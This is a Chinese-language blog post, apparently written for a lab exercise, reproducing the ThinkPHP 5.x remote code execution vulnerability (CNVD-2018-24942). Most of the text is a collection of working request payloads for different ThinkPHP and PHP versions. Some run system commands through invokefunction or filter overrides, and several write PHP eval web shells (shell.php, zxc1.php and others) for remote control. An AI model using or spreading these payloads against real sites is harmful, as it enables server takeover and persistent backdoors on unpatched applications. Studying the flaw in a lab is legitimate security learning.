ThinkPHP5x 远程代码执行漏洞(CNVD-2018-24942)复现
影响范围
ThinkPHP 5.0.全版本
5.0.13~5.0.19的,这些版本默认情况下config中的app_debug配置项为false,需开启才能存在此漏洞。
漏洞复现
远程代码执行
直接get请求即可
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
pwd及执行代码的位置
例如我在vulfocus靶场上开的环境下,查看flag在/tmp下,只要将pwd替换成 ls /tmp即可
上传一句话木马
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
上传后用蚁剑连接
同样在tmp下也能找到flag
到这里就差不多复现成功了。再可以试试其他的方法
版本:5.08-5.019
payload:?s=whoami&_method=__construct&filter&filter=system
版本号不对就报错,其他通杀
版本号:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
版本号:5.1.x 且php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
版本号:5.0.x 且php版本>=5.4
exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
版本号:5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w4EPGOjq-1628009745085)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20210804005141845.png)]
有一些能成功,可能有的是版本问题测试失败了
写shell:
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
有的不能成功的大家学一学思路吧
参考大佬的博客:https://blog.csdn.net/weixin_40709439/article/details/86564457